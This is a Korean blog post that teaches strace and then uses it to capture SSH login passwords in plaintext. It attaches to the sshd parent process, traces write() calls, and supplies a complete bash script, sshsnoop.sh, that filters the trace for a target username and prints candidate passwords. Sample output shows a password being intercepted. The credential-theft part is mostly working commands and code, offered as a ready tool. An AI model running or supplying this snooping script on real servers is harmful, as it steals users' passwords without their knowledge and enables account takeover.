Monday, May 2, 2016

SshSnoop

SSH SNOOP 개요


목적

SSH Protocol 을 사용하는 Client & Server 간의 통신시 Client 의 Login 시 사용자의 복호화된 패스워드를 최소한의 노력으로 엿보려고 한다.

방법

SSH 데몬의 system call 추적을 통한 암호 탐지

  1. System call 추적후 패스워드는 암호화 되어 있을 가능성도 있다.
  2. 하지만 대부분 WAN 구간에서 암호화 통신시 Data의 수신후 선수행 부분은 암호화된 Data의 복호화 일 것으로 예상 된다.
  3. 또한 SSH Protocol 사용시 서버로 송신하는 Login 암호를 Server 의 salt key로 crypt() 하지 않을 것으로 예상 된다.
  4. [수신된 DATA 의 복호화] -> [crypt()후 shadow 비교] 의 과정으로 예상하여 나는 system call 추적을 해보도록 하겠다.

Strace 개요


strace 란?

  • 프로그램이 실행 되는 동안 호출하는 시스템콜의 추적
  • 프로그램이 실행되는 동안 받는 signal 에 대한 정보 추적

strace 사용법

syscall 에 대한 통계(time, calls, syscall …) 보기

$ strace -f -c -p 31337

% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 42.86    0.000012           0        48           close
 32.14    0.000009           0        42           recvmsg
 25.00    0.000007           0        22           fstat
.
------ ----------- ----------- --------- --------- ----------------
100.00    0.000028                   745        21 total

syscall 에 대한 소요 시간([시간]…<소요시간>) 보기

$ strace -tt -T -p 31337

16:02:02.636274 alarm(6000)             = 5999 <0.000038>
16:02:02.636452 epoll_wait(8, {{EPOLLIN, {u32=6, u64=6}}}, 100, 43000) = 1 <2.911735>
.

syscall 추적 예제

$ vi sleep.c

#include <stdio.h>
#include <unistd.h>

int main() {
    sleep(1);
    printf("sleep(1)\n");
    sleep(2);
    printf("sleep(2)\n");
    return(0);
}

$ gcc -o sleep sleep.c
$ strace -tt -T -etrace=nanosleep ./sleep

16:16:47.763460 nanosleep({1, 0}, 0x7fffbd6f6bd0) = 0 <1.000305>
sleep(1)
16:16:48.764272 nanosleep({2, 0}, 0x7fffbd6f6bd0) = 0 <2.000262>
sleep(2)

설명

  1. sleep() 은 내부적으로 nanosleep() syscall 을 호출한다.
  2. -tt 옵션으로 타임을 맨앞에 출력 -T 옵션으로 소요 시간을 맨뒤에 출력 한다.
  3. -etrace 옵션으로 해당 syscall만 필터링 한다.

Strace를 이용한 SSH SNOOP 구현


sshd의 시작점(PPID) 찾기

sshd 데몬의 부모 프로세스(PPID) 찾기

$ pidof sshd | awk ‘{print $NF}’
.
[OR]
.
$ pgrep -o sshd

패스워드를 운반하는 syscall 찾기

일단 sshd의 syscall 확인 결과 패스워드의 snoop 이 가능함을 확인 하였다.
패스워드 운반에 사용되는 syscall 은 write() 이다.
아래의 과정으로 ssh login password 를 가로채는 것을 확인 할 수 있었다.

$ useradd victim
$ echo "MyPasswordIs1234" | passwd victim --stdin
$ strace -f -etrace=write -s 64 -p $(pgrep -o sshd)

.
[pid  8281] write(4, "\0\0\0\20MyPasswordIs1234", 20) = 20

설명

  1. 사용자 victim 을 추가한다.
  2. 사용자 victim 의 패스워드를 MyPasswordIs1234 로 설정한다.
  3. 인증부분은 child process 에서 행하기 때문에 -f 옵션으로 child process도 감시한다.
  4. -etrace=write 옵션으로 write call 만 감시한다.
  5. 출력 문자열의 길이를 64로 늘린다.(기본 32)
  6. -p 옵션으로 sshd 의 부모 프로세스를 감시한다.

SSH SNOOP(Login Password Snoop) 필터링 구현

strace 를 이용한 SSHP SNOOP 프로그램 구현(sshsnoop.sh)

$ vi sshsnoop.sh

#! /bin/env bash
#
# Cheap technique. :)
#
#

SNOOP_ID=$1
SSHD_PPID=$(pgrep -o sshd)
MATCH_ID=
MATCH_PID=
MATCH_ID_PID=

FIND_PASSWD=0
PASSWD_NEXT=15

FILTER_PASSWD_LEN_MIN=40
FILTER_PASSWD_LEN_MAX=80

SCOPE=10
SCOPE_MIN=
SCOPE_MAX=
LOOP_COUNT=0
((SCOPE_MIN=PASSWD_NEXT-SCOPE))
((SCOPE_MAX=PASSWD_NEXT+SCOPE))

if [ -z $SNOOP_ID ]; then
    echo $"Usage: $0 {snoopid}" 
    exit 0
fi

strace -f -etrace=write -s 64 -p $SSHD_PPID 2>&1 | while read SSH
do

    if [ $LOOP_COUNT -ge $SCOPE_MIN -a $LOOP_COUNT -le $SCOPE_MAX ]; then
        MATCH_PID=$(echo $SSH 2>&1 | grep $MATCH_ID_PID | grep -v ssh-connection)
        if [ -n "$MATCH_PID" -a ${#SSH} -lt $FILTER_PASSWD_LEN_MAX -a ${#SSH} -gt $FILTER_PASSWD_LEN_MIN ]; then
            echo "MAY BE PASSWORD >>> $SSH"
        fi
    fi

    if [ $LOOP_COUNT -eq $SCOPE_MAX ]; then
        LOOP_COUNT=0
        FIND_PASSWD=0
        MATCH_ID=
    fi

    if [ $FIND_PASSWD -gt "0" ]; then
        ((FIND_PASSWD++))
        ((LOOP_COUNT++))
        continue
    fi
    MATCH_ID=$(echo $SSH 2>&1 | grep $SNOOP_ID\")
    if [ -n "$MATCH_ID" ]; then
        echo "MAY BE USERID   >>> $SSH"
        MATCH_ID_PID=${SSH%%]*}
        MATCH_ID_PID=${MATCH_ID_PID#[pid}
        FIND_PASSWD=1
    fi
done

sshsnoop.sh 실행 결과

$ sh sshsnoop.sh victim

MAY BE USERID   >>> [pid  8949] write(4, "0006victim", 10) = 10
MAY BE PASSWORD >>> [pid  8949] write(4, "00020MyPasswordIs1234", 20) = 20
MAY BE PASSWORD >>> [pid  8949] write(4, "0002000000"3650000000J", 20) = 20


Post a Comment